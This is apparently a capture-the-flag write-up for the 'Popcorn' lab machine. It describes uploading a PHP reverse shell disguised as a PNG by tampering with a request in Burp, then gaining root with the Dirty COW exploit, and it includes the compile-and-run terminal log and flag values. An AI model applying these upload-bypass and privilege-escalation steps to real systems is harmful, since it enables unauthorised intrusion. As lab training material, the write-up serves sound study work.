Popcorn (Linux)

Tuesday, September 25, 2018 8:07 PM





Initial Scan

Since port 80 is open, I brows to the webpage. It's a blank screen so I run a dirb on the URL for these results...

Browsing to the /torrents directory, I find a website that allows you to upload torrent files and modify them. Once I upload a torrent file, I can upload addition files including image files. I get my .php reverse shell of choice ready and upload it as a .png while filtering through my burp proxy. The highlighted portions are what needed to be modified in order to upload properly. I had to make sure the original file I sent through the proxy had a .png extension or else it would be rejected and receive no id= parameter in the POST method.

Once the file is successfully uploaded, I browse to the **/torrent/upload** location and see that the file is encoded with a .php extension. Regardless, I start up a netcat listener and click the file for an instant reverse shell! I cat the user.txt immediately. Now on to privilege escalation.

Privilege Escalation

There are a couple ways to get privilege escalation. I chose the dirty cow way since the other way was not working very well. I navigate to dirtycow.ninja and find a reasonable exploit. In this case I choose dirty.c. I copy the raw code into a file on the popcorn machine and compile based on the instructions. The code aims to create the user firefart and give him root privileges. I run the exploit and get prompted with making a password for firefart. I set it, wait for a bit, background the process and su firefart with the password I just created and I can cat the root flag!!

```
www-data@popcorn:/dev/shm$ nano dirty.c
www-data@popcorn:/dev/shm$ gcc -pthread dirty.c -o dirty -lcrypt
www-data@popcorn:/dev/shm$ ls
dirty dirty.c
www-data@popcorn:/dev/shm$ ./dirty
/etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password:
Complete line:
firefart:fioaKmuWSeBhQ:0:0:pwned:/root:/bin/bash
mmap: b7799000
^Z 
[1]+ Stopped
                              ./dirty
www-data@popcorn:/dev/shm$ su firefart
Password:
firefart@popcorn:/dev/shm# id
uid=0(firefart) gid=0(root) groups=0(root)
firefart@popcorn:/dev/shm# whoami
firefart
firefart@popcorn:/dev/shm# cat /root/root.txt
f122331023a9393319a0370129fd9b14
firefart@popcorn:/dev/shm#
```